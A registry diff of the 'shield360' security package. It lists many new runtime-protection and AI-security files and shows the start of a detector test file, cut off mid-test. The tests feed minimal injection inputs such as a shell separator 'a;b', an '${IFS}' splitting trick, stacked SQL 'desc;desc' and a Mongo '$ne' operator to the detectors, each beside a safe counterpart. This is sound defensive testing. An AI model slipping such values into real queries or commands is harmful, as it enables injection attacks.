shield360 1.0.1 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +392 -37
- package/dist/__tests__/build-info.test.d.ts +1 -0
- package/dist/__tests__/build-info.test.js +196 -0
- package/dist/__tests__/build-info.test.js.map +1 -0
- package/dist/__tests__/code-location.test.d.ts +1 -0
- package/dist/__tests__/code-location.test.js +180 -0
- package/dist/__tests__/code-location.test.js.map +1 -0
- package/dist/__tests__/masking.test.d.ts +1 -0
- package/dist/__tests__/masking.test.js +66 -0
- package/dist/__tests__/masking.test.js.map +1 -0
- package/dist/__tests__/pricing-claude-5.test.js +3 -0
- package/dist/__tests__/pricing-claude-5.test.js.map +1 -1
- package/dist/__tests__/register.e2e.test.d.ts +1 -0
- package/dist/__tests__/register.e2e.test.js +264 -0
- package/dist/__tests__/register.e2e.test.js.map +1 -0
- package/dist/__tests__/register.test.js +60 -0
- package/dist/__tests__/register.test.js.map +1 -1
- package/dist/agents/__tests__/agents.test.d.ts +1 -0
- package/dist/agents/__tests__/agents.test.js +529 -0
- package/dist/agents/__tests__/agents.test.js.map +1 -0
- package/dist/agents/index.d.ts +15 -0
- package/dist/agents/index.js +25 -0
- package/dist/agents/index.js.map +1 -0
- package/dist/agents/passport.d.ts +92 -0
- package/dist/agents/passport.js +301 -0
- package/dist/agents/passport.js.map +1 -0
- package/dist/agents/policy.d.ts +24 -0
- package/dist/agents/policy.js +93 -0
- package/dist/agents/policy.js.map +1 -0
- package/dist/agents/replay.d.ts +20 -0
- package/dist/agents/replay.js +47 -0
- package/dist/agents/replay.js.map +1 -0
- package/dist/agents/report.d.ts +30 -0
- package/dist/agents/report.js +93 -0
- package/dist/agents/report.js.map +1 -0
- package/dist/agents/types.d.ts +148 -0
- package/dist/agents/types.js +37 -0
- package/dist/agents/types.js.map +1 -0
- package/dist/agents/verifier.d.ts +33 -0
- package/dist/agents/verifier.js +276 -0
- package/dist/agents/verifier.js.map +1 -0
- package/dist/ai-security/__tests__/bench.test.d.ts +1 -0
- package/dist/ai-security/__tests__/bench.test.js +50 -0
- package/dist/ai-security/__tests__/bench.test.js.map +1 -0
- package/dist/ai-security/__tests__/checks.test.d.ts +1 -0
- package/dist/ai-security/__tests__/checks.test.js +248 -0
- package/dist/ai-security/__tests__/checks.test.js.map +1 -0
- package/dist/ai-security/__tests__/config.test.d.ts +1 -0
- package/dist/ai-security/__tests__/config.test.js +164 -0
- package/dist/ai-security/__tests__/config.test.js.map +1 -0
- package/dist/ai-security/__tests__/detection.test.d.ts +1 -0
- package/dist/ai-security/__tests__/detection.test.js +114 -0
- package/dist/ai-security/__tests__/detection.test.js.map +1 -0
- package/dist/ai-security/__tests__/fixtures.d.ts +8 -0
- package/dist/ai-security/__tests__/fixtures.js +30 -0
- package/dist/ai-security/__tests__/fixtures.js.map +1 -0
- package/dist/ai-security/__tests__/hooks.test.d.ts +1 -0
- package/dist/ai-security/__tests__/hooks.test.js +174 -0
- package/dist/ai-security/__tests__/hooks.test.js.map +1 -0
- package/dist/ai-security/__tests__/stream.test.d.ts +1 -0
- package/dist/ai-security/__tests__/stream.test.js +85 -0
- package/dist/ai-security/__tests__/stream.test.js.map +1 -0
- package/dist/ai-security/config.d.ts +94 -0
- package/dist/ai-security/config.js +241 -0
- package/dist/ai-security/config.js.map +1 -0
- package/dist/ai-security/context.d.ts +45 -0
- package/dist/ai-security/context.js +108 -0
- package/dist/ai-security/context.js.map +1 -0
- package/dist/ai-security/custom-kinds.d.ts +23 -0
- package/dist/ai-security/custom-kinds.js +97 -0
- package/dist/ai-security/custom-kinds.js.map +1 -0
- package/dist/ai-security/events.d.ts +77 -0
- package/dist/ai-security/events.js +153 -0
- package/dist/ai-security/events.js.map +1 -0
- package/dist/ai-security/hooks.d.ts +48 -0
- package/dist/ai-security/hooks.js +461 -0
- package/dist/ai-security/hooks.js.map +1 -0
- package/dist/ai-security/index.d.ts +209 -0
- package/dist/ai-security/index.js +587 -0
- package/dist/ai-security/index.js.map +1 -0
- package/dist/ai-security/injection-rules.json +1024 -0
- package/dist/ai-security/injection.d.ts +46 -0
- package/dist/ai-security/injection.js +635 -0
- package/dist/ai-security/injection.js.map +1 -0
- package/dist/ai-security/jailbreak.d.ts +38 -0
- package/dist/ai-security/jailbreak.js +73 -0
- package/dist/ai-security/jailbreak.js.map +1 -0
- package/dist/ai-security/limits.d.ts +84 -0
- package/dist/ai-security/limits.js +195 -0
- package/dist/ai-security/limits.js.map +1 -0
- package/dist/ai-security/mcp.d.ts +82 -0
- package/dist/ai-security/mcp.js +150 -0
- package/dist/ai-security/mcp.js.map +1 -0
- package/dist/ai-security/output.d.ts +107 -0
- package/dist/ai-security/output.js +390 -0
- package/dist/ai-security/output.js.map +1 -0
- package/dist/ai-security/policy.d.ts +125 -0
- package/dist/ai-security/policy.js +196 -0
- package/dist/ai-security/policy.js.map +1 -0
- package/dist/ai-security/rag.d.ts +70 -0
- package/dist/ai-security/rag.js +174 -0
- package/dist/ai-security/rag.js.map +1 -0
- package/dist/ai-security/tool-rules.json +203 -0
- package/dist/ai-security/tools.d.ts +46 -0
- package/dist/ai-security/tools.js +62 -0
- package/dist/ai-security/tools.js.map +1 -0
- package/dist/budgets/__tests__/budgets.test.d.ts +1 -0
- package/dist/budgets/__tests__/budgets.test.js +134 -0
- package/dist/budgets/__tests__/budgets.test.js.map +1 -0
- package/dist/budgets/auto.d.ts +25 -0
- package/dist/budgets/auto.js +63 -0
- package/dist/budgets/auto.js.map +1 -0
- package/dist/budgets/index.d.ts +110 -0
- package/dist/budgets/index.js +239 -0
- package/dist/budgets/index.js.map +1 -0
- package/dist/config.js +1 -1
- package/dist/config.js.map +1 -1
- package/dist/customer/__tests__/customer.test.d.ts +1 -0
- package/dist/customer/__tests__/customer.test.js +155 -0
- package/dist/customer/__tests__/customer.test.js.map +1 -0
- package/dist/customer/index.d.ts +48 -0
- package/dist/customer/index.js +132 -0
- package/dist/customer/index.js.map +1 -0
- package/dist/feedback/__tests__/feedback.test.d.ts +1 -0
- package/dist/feedback/__tests__/feedback.test.js +80 -0
- package/dist/feedback/__tests__/feedback.test.js.map +1 -0
- package/dist/feedback/index.d.ts +48 -0
- package/dist/feedback/index.js +97 -0
- package/dist/feedback/index.js.map +1 -0
- package/dist/flags/__tests__/flags.test.d.ts +1 -0
- package/dist/flags/__tests__/flags.test.js +301 -0
- package/dist/flags/__tests__/flags.test.js.map +1 -0
- package/dist/flags/client.d.ts +131 -0
- package/dist/flags/client.js +301 -0
- package/dist/flags/client.js.map +1 -0
- package/dist/flags/engine.d.ts +200 -0
- package/dist/flags/engine.js +677 -0
- package/dist/flags/engine.js.map +1 -0
- package/dist/flags/index.d.ts +4 -0
- package/dist/flags/index.js +16 -0
- package/dist/flags/index.js.map +1 -0
- package/dist/guard/__tests__/findings.test.js +28 -9
- package/dist/guard/__tests__/findings.test.js.map +1 -1
- package/dist/guard/__tests__/report.test.js +67 -0
- package/dist/guard/__tests__/report.test.js.map +1 -1
- package/dist/guard/base.d.ts +2 -0
- package/dist/guard/base.js +4 -0
- package/dist/guard/base.js.map +1 -1
- package/dist/guard/findings.d.ts +12 -2
- package/dist/guard/findings.js +19 -49
- package/dist/guard/findings.js.map +1 -1
- package/dist/guard/heartbeat.d.ts +34 -0
- package/dist/guard/heartbeat.js +83 -0
- package/dist/guard/heartbeat.js.map +1 -0
- package/dist/guard/integration.d.ts +33 -3
- package/dist/guard/integration.js +106 -32
- package/dist/guard/integration.js.map +1 -1
- package/dist/guard/pipeline.d.ts +10 -1
- package/dist/guard/pipeline.js +14 -0
- package/dist/guard/pipeline.js.map +1 -1
- package/dist/guard/report.d.ts +24 -1
- package/dist/guard/report.js +67 -18
- package/dist/guard/report.js.map +1 -1
- package/dist/index.d.ts +90 -0
- package/dist/index.js +225 -3
- package/dist/index.js.map +1 -1
- package/dist/instrumentation/__tests__/langchain-wrapper.test.js +1 -1
- package/dist/instrumentation/__tests__/langchain-wrapper.test.js.map +1 -1
- package/dist/instrumentation/anthropic/wrapper.js +4 -0
- package/dist/instrumentation/anthropic/wrapper.js.map +1 -1
- package/dist/instrumentation/mcp/wrapper.js +7 -1
- package/dist/instrumentation/mcp/wrapper.js.map +1 -1
- package/dist/instrumentation/openai/wrapper.js +6 -0
- package/dist/instrumentation/openai/wrapper.js.map +1 -1
- package/dist/masking.d.ts +42 -0
- package/dist/masking.js +197 -0
- package/dist/masking.js.map +1 -0
- package/dist/otel/__tests__/app-logs-safety.test.d.ts +1 -0
- package/dist/otel/__tests__/app-logs-safety.test.js +129 -0
- package/dist/otel/__tests__/app-logs-safety.test.js.map +1 -0
- package/dist/otel/__tests__/app-logs.test.d.ts +1 -0
- package/dist/otel/__tests__/app-logs.test.js +269 -0
- package/dist/otel/__tests__/app-logs.test.js.map +1 -0
- package/dist/otel/__tests__/log-auto.test.d.ts +1 -0
- package/dist/otel/__tests__/log-auto.test.js +125 -0
- package/dist/otel/__tests__/log-auto.test.js.map +1 -0
- package/dist/otel/__tests__/log-bridges.test.d.ts +1 -0
- package/dist/otel/__tests__/log-bridges.test.js +170 -0
- package/dist/otel/__tests__/log-bridges.test.js.map +1 -0
- package/dist/otel/__tests__/system-metrics.test.d.ts +1 -0
- package/dist/otel/__tests__/system-metrics.test.js +79 -0
- package/dist/otel/__tests__/system-metrics.test.js.map +1 -0
- package/dist/otel/app-logs.d.ts +80 -0
- package/dist/otel/app-logs.js +195 -0
- package/dist/otel/app-logs.js.map +1 -0
- package/dist/otel/build-info.d.ts +23 -0
- package/dist/otel/build-info.js +176 -0
- package/dist/otel/build-info.js.map +1 -0
- package/dist/otel/code-location.d.ts +49 -0
- package/dist/otel/code-location.js +233 -0
- package/dist/otel/code-location.js.map +1 -0
- package/dist/otel/events.d.ts +1 -0
- package/dist/otel/events.js +21 -12
- package/dist/otel/events.js.map +1 -1
- package/dist/otel/log-auto.d.ts +44 -0
- package/dist/otel/log-auto.js +200 -0
- package/dist/otel/log-auto.js.map +1 -0
- package/dist/otel/log-bridges.d.ts +54 -0
- package/dist/otel/log-bridges.js +307 -0
- package/dist/otel/log-bridges.js.map +1 -0
- package/dist/otel/system-metrics.d.ts +39 -0
- package/dist/otel/system-metrics.js +166 -0
- package/dist/otel/system-metrics.js.map +1 -0
- package/dist/otel/tracing.js +12 -1
- package/dist/otel/tracing.js.map +1 -1
- package/dist/pricing.json +100 -42
- package/dist/protect/__tests__/protect.test.d.ts +1 -0
- package/dist/protect/__tests__/protect.test.js +210 -0
- package/dist/protect/__tests__/protect.test.js.map +1 -0
- package/dist/protect/index.d.ts +103 -0
- package/dist/protect/index.js +196 -0
- package/dist/protect/index.js.map +1 -0
- package/dist/protect/mcp.d.ts +13 -0
- package/dist/protect/mcp.js +49 -0
- package/dist/protect/mcp.js.map +1 -0
- package/dist/protect/mode.d.ts +89 -0
- package/dist/protect/mode.js +134 -0
- package/dist/protect/mode.js.map +1 -0
- package/dist/rasp/__tests__/auto-http.test.d.ts +1 -0
- package/dist/rasp/__tests__/auto-http.test.js +136 -0
- package/dist/rasp/__tests__/auto-http.test.js.map +1 -0
- package/dist/rasp/__tests__/baseline.test.d.ts +1 -0
- package/dist/rasp/__tests__/baseline.test.js +86 -0
- package/dist/rasp/__tests__/baseline.test.js.map +1 -0
- package/dist/rasp/__tests__/benign-corpus.test.d.ts +1 -0
- package/dist/rasp/__tests__/benign-corpus.test.js +68 -0
- package/dist/rasp/__tests__/benign-corpus.test.js.map +1 -0
- package/dist/rasp/__tests__/capture-context.test.d.ts +1 -0
- package/dist/rasp/__tests__/capture-context.test.js +135 -0
- package/dist/rasp/__tests__/capture-context.test.js.map +1 -0
- package/dist/rasp/__tests__/code-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/code-hook.test.js +218 -0
- package/dist/rasp/__tests__/code-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/config-client.test.d.ts +1 -0
- package/dist/rasp/__tests__/config-client.test.js +283 -0
- package/dist/rasp/__tests__/config-client.test.js.map +1 -0
- package/dist/rasp/__tests__/corpus.d.ts +13 -0
- package/dist/rasp/__tests__/corpus.js +111 -0
- package/dist/rasp/__tests__/corpus.js.map +1 -0
- package/dist/rasp/__tests__/custom-rules.test.d.ts +1 -0
- package/dist/rasp/__tests__/custom-rules.test.js +276 -0
- package/dist/rasp/__tests__/custom-rules.test.js.map +1 -0
- package/dist/rasp/__tests__/db-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/db-hook.test.js +438 -0
- package/dist/rasp/__tests__/db-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/deception.test.d.ts +1 -0
- package/dist/rasp/__tests__/deception.test.js +567 -0
- package/dist/rasp/__tests__/deception.test.js.map +1 -0
- package/dist/rasp/__tests__/detect.test.d.ts +1 -0
- package/dist/rasp/__tests__/detect.test.js +276 -0
- package/dist/rasp/__tests__/detect.test.js.map +1 -0
- package/dist/rasp/__tests__/esm-exports.test.d.ts +1 -0
- package/dist/rasp/__tests__/esm-exports.test.js +20 -0
- package/dist/rasp/__tests__/esm-exports.test.js.map +1 -0
- package/dist/rasp/__tests__/fs-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/fs-hook.test.js +241 -0
- package/dist/rasp/__tests__/fs-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/hook-contracts.test.d.ts +1 -0
- package/dist/rasp/__tests__/hook-contracts.test.js +201 -0
- package/dist/rasp/__tests__/hook-contracts.test.js.map +1 -0
- package/dist/rasp/__tests__/hook-kit.d.ts +42 -0
- package/dist/rasp/__tests__/hook-kit.js +139 -0
- package/dist/rasp/__tests__/hook-kit.js.map +1 -0
- package/dist/rasp/__tests__/http-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/http-hook.test.js +250 -0
- package/dist/rasp/__tests__/http-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/iast.test.d.ts +1 -0
- package/dist/rasp/__tests__/iast.test.js +361 -0
- package/dist/rasp/__tests__/iast.test.js.map +1 -0
- package/dist/rasp/__tests__/include-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/include-hook.test.js +122 -0
- package/dist/rasp/__tests__/include-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/middleware.test.d.ts +1 -0
- package/dist/rasp/__tests__/middleware.test.js +302 -0
- package/dist/rasp/__tests__/middleware.test.js.map +1 -0
- package/dist/rasp/__tests__/process-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/process-hook.test.js +238 -0
- package/dist/rasp/__tests__/process-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/reporter.test.d.ts +1 -0
- package/dist/rasp/__tests__/reporter.test.js +114 -0
- package/dist/rasp/__tests__/reporter.test.js.map +1 -0
- package/dist/rasp/__tests__/route.test.d.ts +1 -0
- package/dist/rasp/__tests__/route.test.js +46 -0
- package/dist/rasp/__tests__/route.test.js.map +1 -0
- package/dist/rasp/__tests__/rule-expr.test.d.ts +1 -0
- package/dist/rasp/__tests__/rule-expr.test.js +151 -0
- package/dist/rasp/__tests__/rule-expr.test.js.map +1 -0
- package/dist/rasp/__tests__/rule-phases.test.d.ts +1 -0
- package/dist/rasp/__tests__/rule-phases.test.js +271 -0
- package/dist/rasp/__tests__/rule-phases.test.js.map +1 -0
- package/dist/rasp/__tests__/sinks-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/sinks-hook.test.js +177 -0
- package/dist/rasp/__tests__/sinks-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/targets.test.d.ts +1 -0
- package/dist/rasp/__tests__/targets.test.js +82 -0
- package/dist/rasp/__tests__/targets.test.js.map +1 -0
- package/dist/rasp/__tests__/template-hook.test.d.ts +1 -0
- package/dist/rasp/__tests__/template-hook.test.js +254 -0
- package/dist/rasp/__tests__/template-hook.test.js.map +1 -0
- package/dist/rasp/__tests__/upload.test.d.ts +1 -0
- package/dist/rasp/__tests__/upload.test.js +81 -0
- package/dist/rasp/__tests__/upload.test.js.map +1 -0
- package/dist/rasp/__tests__/vpatch-engine.test.d.ts +1 -0
- package/dist/rasp/__tests__/vpatch-engine.test.js +177 -0
- package/dist/rasp/__tests__/vpatch-engine.test.js.map +1 -0
- package/dist/rasp/auto-http.d.ts +6 -0
- package/dist/rasp/auto-http.js +194 -0
- package/dist/rasp/auto-http.js.map +1 -0
- package/dist/rasp/baseline.d.ts +35 -0
- package/dist/rasp/baseline.js +91 -0
- package/dist/rasp/baseline.js.map +1 -0
- package/dist/rasp/capture.d.ts +76 -0
- package/dist/rasp/capture.js +304 -0
- package/dist/rasp/capture.js.map +1 -0
- package/dist/rasp/config-client.d.ts +122 -0
- package/dist/rasp/config-client.js +337 -0
- package/dist/rasp/config-client.js.map +1 -0
- package/dist/rasp/context.d.ts +65 -0
- package/dist/rasp/context.js +68 -0
- package/dist/rasp/context.js.map +1 -0
- package/dist/rasp/custom-rules.d.ts +68 -0
- package/dist/rasp/custom-rules.js +222 -0
- package/dist/rasp/custom-rules.js.map +1 -0
- package/dist/rasp/data/default-rules.json +199 -0
- package/dist/rasp/data/default-sinks.json +4 -0
- package/dist/rasp/data/dnslog-domains.json +11 -0
- package/dist/rasp/deception.d.ts +70 -0
- package/dist/rasp/deception.js +220 -0
- package/dist/rasp/deception.js.map +1 -0
- package/dist/rasp/detect.d.ts +68 -0
- package/dist/rasp/detect.js +671 -0
- package/dist/rasp/detect.js.map +1 -0
- package/dist/rasp/engine.d.ts +107 -0
- package/dist/rasp/engine.js +330 -0
- package/dist/rasp/engine.js.map +1 -0
- package/dist/rasp/hooks/code.d.ts +20 -0
- package/dist/rasp/hooks/code.js +334 -0
- package/dist/rasp/hooks/code.js.map +1 -0
- package/dist/rasp/hooks/db.d.ts +48 -0
- package/dist/rasp/hooks/db.js +322 -0
- package/dist/rasp/hooks/db.js.map +1 -0
- package/dist/rasp/hooks/esm.d.ts +7 -0
- package/dist/rasp/hooks/esm.js +18 -0
- package/dist/rasp/hooks/esm.js.map +1 -0
- package/dist/rasp/hooks/fs.d.ts +3 -0
- package/dist/rasp/hooks/fs.js +206 -0
- package/dist/rasp/hooks/fs.js.map +1 -0
- package/dist/rasp/hooks/http.d.ts +4 -0
- package/dist/rasp/hooks/http.js +213 -0
- package/dist/rasp/hooks/http.js.map +1 -0
- package/dist/rasp/hooks/include.d.ts +9 -0
- package/dist/rasp/hooks/include.js +79 -0
- package/dist/rasp/hooks/include.js.map +1 -0
- package/dist/rasp/hooks/marks.d.ts +2 -0
- package/dist/rasp/hooks/marks.js +16 -0
- package/dist/rasp/hooks/marks.js.map +1 -0
- package/dist/rasp/hooks/process.d.ts +22 -0
- package/dist/rasp/hooks/process.js +191 -0
- package/dist/rasp/hooks/process.js.map +1 -0
- package/dist/rasp/hooks/sinks.d.ts +54 -0
- package/dist/rasp/hooks/sinks.js +329 -0
- package/dist/rasp/hooks/sinks.js.map +1 -0
- package/dist/rasp/hooks/template.d.ts +21 -0
- package/dist/rasp/hooks/template.js +152 -0
- package/dist/rasp/hooks/template.js.map +1 -0
- package/dist/rasp/iast-rules.d.ts +82 -0
- package/dist/rasp/iast-rules.js +240 -0
- package/dist/rasp/iast-rules.js.map +1 -0
- package/dist/rasp/iast-scope.d.ts +29 -0
- package/dist/rasp/iast-scope.js +54 -0
- package/dist/rasp/iast-scope.js.map +1 -0
- package/dist/rasp/iast.d.ts +81 -0
- package/dist/rasp/iast.js +272 -0
- package/dist/rasp/iast.js.map +1 -0
- package/dist/rasp/index.d.ts +52 -0
- package/dist/rasp/index.js +280 -0
- package/dist/rasp/index.js.map +1 -0
- package/dist/rasp/lexers.d.ts +32 -0
- package/dist/rasp/lexers.js +444 -0
- package/dist/rasp/lexers.js.map +1 -0
- package/dist/rasp/middleware.d.ts +155 -0
- package/dist/rasp/middleware.js +568 -0
- package/dist/rasp/middleware.js.map +1 -0
- package/dist/rasp/model-output.d.ts +14 -0
- package/dist/rasp/model-output.js +107 -0
- package/dist/rasp/model-output.js.map +1 -0
- package/dist/rasp/normalize.d.ts +23 -0
- package/dist/rasp/normalize.js +140 -0
- package/dist/rasp/normalize.js.map +1 -0
- package/dist/rasp/reporter.d.ts +60 -0
- package/dist/rasp/reporter.js +230 -0
- package/dist/rasp/reporter.js.map +1 -0
- package/dist/rasp/rule-expr.d.ts +236 -0
- package/dist/rasp/rule-expr.js +1253 -0
- package/dist/rasp/rule-expr.js.map +1 -0
- package/dist/rasp/template.d.ts +53 -0
- package/dist/rasp/template.js +336 -0
- package/dist/rasp/template.js.map +1 -0
- package/dist/rasp/types.d.ts +110 -0
- package/dist/rasp/types.js +51 -0
- package/dist/rasp/types.js.map +1 -0
- package/dist/rasp/vpatch.d.ts +55 -0
- package/dist/rasp/vpatch.js +120 -0
- package/dist/rasp/vpatch.js.map +1 -0
- package/dist/register.js +52 -11
- package/dist/register.js.map +1 -1
- package/dist/semantic-convention.d.ts +2 -0
- package/dist/semantic-convention.js +5 -0
- package/dist/semantic-convention.js.map +1 -1
- package/dist/types.d.ts +96 -0
- package/dist/zero-code.d.ts +8 -0
- package/dist/zero-code.js +38 -0
- package/dist/zero-code.js.map +1 -0
- package/package.json +18 -2
|
@@ -0,0 +1,276 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
4
|
+
};
|
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
|
+
/**
|
|
7
|
+
* Each structural check, proved with one value built from the structure it
|
|
8
|
+
* tests, beside the safe counterpart that must not fire. No payload lists:
|
|
9
|
+
* every value here is assembled from the property under test (a value that
|
|
10
|
+
* spans several tokens, a path that climbs out of its directory, an address
|
|
11
|
+
* in a private range, a document that declares an external entity).
|
|
12
|
+
*/
|
|
13
|
+
const os_1 = require("os");
|
|
14
|
+
const detect_1 = require("../detect");
|
|
15
|
+
const lexers_1 = require("../lexers");
|
|
16
|
+
const normalize_1 = require("../normalize");
|
|
17
|
+
const dnslog_domains_json_1 = __importDefault(require("../data/dnslog-domains.json"));
|
|
18
|
+
const req = (value, key = 'query.q') => {
|
|
19
|
+
const out = [];
|
|
20
|
+
(0, normalize_1.addInput)(out, value, key);
|
|
21
|
+
return out;
|
|
22
|
+
};
|
|
23
|
+
const model = (text) => {
|
|
24
|
+
const out = [];
|
|
25
|
+
(0, normalize_1.addModelOutput)(out, text);
|
|
26
|
+
return out;
|
|
27
|
+
};
|
|
28
|
+
const sqlQuote = (v) => `'${v.replace(/'/g, "''")}'`;
|
|
29
|
+
const shQuote = (v) => `'${v.replace(/'/g, "'\\''")}'`;
|
|
30
|
+
describe('lexers', () => {
|
|
31
|
+
it('SQL: a qualified name is one token, a string with doubled quotes is one token', () => {
|
|
32
|
+
const q = `SELECT ${['db', 'tbl'].join('.')} FROM t WHERE a = ${sqlQuote("x'y")}`;
|
|
33
|
+
const kinds = (0, lexers_1.sqlTokens)(q).map((t) => t.kind);
|
|
34
|
+
expect(kinds).toEqual(['word', 'name', 'word', 'word', 'word', 'word', 'op', 'string']);
|
|
35
|
+
});
|
|
36
|
+
it('SQL: placeholders are single tokens', () => {
|
|
37
|
+
for (const p of ['?', '$1', ':name', '@name', '%s', '%(name)s']) {
|
|
38
|
+
expect((0, lexers_1.sqlTokens)(`a = ${p}`).map((t) => t.kind)).toEqual(['word', 'op', 'placeholder']);
|
|
39
|
+
}
|
|
40
|
+
});
|
|
41
|
+
it('shell: a quoted segment stays inside one word', () => {
|
|
42
|
+
const { tokens } = (0, lexers_1.shellTokens)(`grep ${shQuote('a b|c')} f`);
|
|
43
|
+
expect(tokens.map((t) => t.kind)).toEqual(['word', 'word', 'word']);
|
|
44
|
+
});
|
|
45
|
+
it('overlap uses half-open ranges', () => {
|
|
46
|
+
const toks = (0, lexers_1.codeTokens)('ab cd');
|
|
47
|
+
expect((0, lexers_1.overlapping)(toks, 0, 2)).toHaveLength(1);
|
|
48
|
+
expect((0, lexers_1.overlapping)(toks, 1, 3)).toHaveLength(2);
|
|
49
|
+
});
|
|
50
|
+
it('percent decoding is lenient and adds decoded forms once and twice', () => {
|
|
51
|
+
expect((0, normalize_1.percentDecode)('a%2Fb%zz')).toBe('a/b%zz');
|
|
52
|
+
const twice = encodeURIComponent(encodeURIComponent('a/b'));
|
|
53
|
+
expect(req(twice).map((i) => i.value)).toEqual([twice, encodeURIComponent('a/b'), 'a/b']);
|
|
54
|
+
});
|
|
55
|
+
it('model output splits into fenced blocks, then lines', () => {
|
|
56
|
+
const fence = '`'.repeat(3);
|
|
57
|
+
expect((0, normalize_1.modelFragments)(`intro\n${fence}\nline one\nline two\n${fence}\noutro`)).toEqual(['line one\nline two', 'intro', 'line one', 'line two', 'outro']);
|
|
58
|
+
});
|
|
59
|
+
});
|
|
60
|
+
describe('sql_injection', () => {
|
|
61
|
+
// A value made of three non-keyword tokens: identifier, operator, identifier.
|
|
62
|
+
const spanning = ['col', '=', 'col'].join(' ');
|
|
63
|
+
it('sqli.userinput: an input that spans several tokens of the query', () => {
|
|
64
|
+
expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE a = ${spanning}`, req(spanning))?.rule).toBe('sqli.userinput');
|
|
65
|
+
});
|
|
66
|
+
it('safe: the same input bound as one string literal', () => {
|
|
67
|
+
expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE a = ${sqlQuote(spanning)}`, req(spanning))).toBeNull();
|
|
68
|
+
});
|
|
69
|
+
it('safe: a sort parameter made only of anti-detect keywords and one identifier', () => {
|
|
70
|
+
const sort = ['name', 'desc'].join(' ');
|
|
71
|
+
expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY ${sort}`, req(sort))).toBeNull();
|
|
72
|
+
});
|
|
73
|
+
it('sqli.stacked: a statement separator inside the input, followed by another token', () => {
|
|
74
|
+
// Keywords only, so the token-structure rule's anti-detect filter lets it pass.
|
|
75
|
+
const kw = 'desc';
|
|
76
|
+
const value = [kw, kw].join(';');
|
|
77
|
+
expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY a ${value}`, req(value))?.rule).toBe('sqli.stacked');
|
|
78
|
+
expect((0, detect_1.detectSql)(`SELECT * FROM t ORDER BY a ${kw}`, req(kw))).toBeNull();
|
|
79
|
+
});
|
|
80
|
+
it('sqli.model_output: a model fragment spanning tokens, or a whole write statement', () => {
|
|
81
|
+
expect((0, detect_1.detectSql)(`SELECT * FROM t WHERE ${spanning}`, model(spanning))?.rule).toBe('sqli.model_output');
|
|
82
|
+
const write = ['UPDATE', 't', 'SET', 'a', '=', '1'].join(' ');
|
|
83
|
+
expect((0, detect_1.detectSql)(write, model(write))?.rule).toBe('sqli.model_output');
|
|
84
|
+
});
|
|
85
|
+
it('safe: a read-only SELECT the model wrote whole (text-to-SQL)', () => {
|
|
86
|
+
const read = ['SELECT', 'a', 'FROM', 't'].join(' ');
|
|
87
|
+
expect((0, detect_1.detectSql)(read, model(read))).toBeNull();
|
|
88
|
+
});
|
|
89
|
+
it('safe: the whole query equal to an input (a SQL console)', () => {
|
|
90
|
+
const q = `SELECT * FROM t WHERE ${spanning}`;
|
|
91
|
+
expect((0, detect_1.detectSql)(q, req(q))).toBeNull();
|
|
92
|
+
});
|
|
93
|
+
});
|
|
94
|
+
describe('nosql_injection', () => {
|
|
95
|
+
const op = '$' + 'ne';
|
|
96
|
+
it('nosqli.operator: an operator object from the request body reaches the filter', () => {
|
|
97
|
+
const body = { user: { [op]: '' } };
|
|
98
|
+
expect((0, detect_1.detectNoSql)({ user: body.user }, [body], [])?.rule).toBe('nosqli.operator');
|
|
99
|
+
});
|
|
100
|
+
it('safe: the server builds the operator itself', () => {
|
|
101
|
+
const body = { user: 'alice' };
|
|
102
|
+
expect((0, detect_1.detectNoSql)({ user: { [op]: body.user } }, [body], [])).toBeNull();
|
|
103
|
+
});
|
|
104
|
+
it('nosqli.where: a tainted fragment spanning code tokens inside $where', () => {
|
|
105
|
+
const value = ['a', '||', 'b'].join(' ');
|
|
106
|
+
expect((0, detect_1.detectNoSql)({ $where: `this.x == ${value}` }, [{}], req(value))?.rule).toBe('nosqli.where');
|
|
107
|
+
expect((0, detect_1.detectNoSql)({ $where: `this.x == ${JSON.stringify(value)}` }, [{}], req(value))).toBeNull();
|
|
108
|
+
});
|
|
109
|
+
});
|
|
110
|
+
describe('command_injection and shell_spawn', () => {
|
|
111
|
+
const value = ['a', 'b'].join(';');
|
|
112
|
+
it('cmdi.userinput: an input that spans several shell tokens', () => {
|
|
113
|
+
expect((0, detect_1.detectCommand)(`ls ${value}`, req(value))?.rule).toBe('cmdi.userinput');
|
|
114
|
+
expect((0, detect_1.detectCommand)(`ls ${shQuote(value)}`, req(value))).toBeNull();
|
|
115
|
+
});
|
|
116
|
+
it('cmdi.substitution: a word-splitting variable inside one word', () => {
|
|
117
|
+
const v = ['a', 'b'].join('${IFS}');
|
|
118
|
+
expect((0, detect_1.detectCommand)(`echo ${v}`, req(v))?.rule).toBe('cmdi.substitution');
|
|
119
|
+
expect((0, detect_1.detectCommand)('echo a_b', req('a_b'))).toBeNull();
|
|
120
|
+
});
|
|
121
|
+
it('cmdi.full: the command equals an input', () => {
|
|
122
|
+
expect((0, detect_1.detectCommand)('uptime', req('uptime'))?.rule).toBe('cmdi.full');
|
|
123
|
+
});
|
|
124
|
+
it('cmdi.model_output: a whole model command with more than one command', () => {
|
|
125
|
+
const two = ['git status', 'git log'].join(' && ');
|
|
126
|
+
expect((0, detect_1.detectCommand)(two, model(two))?.rule).toBe('cmdi.model_output');
|
|
127
|
+
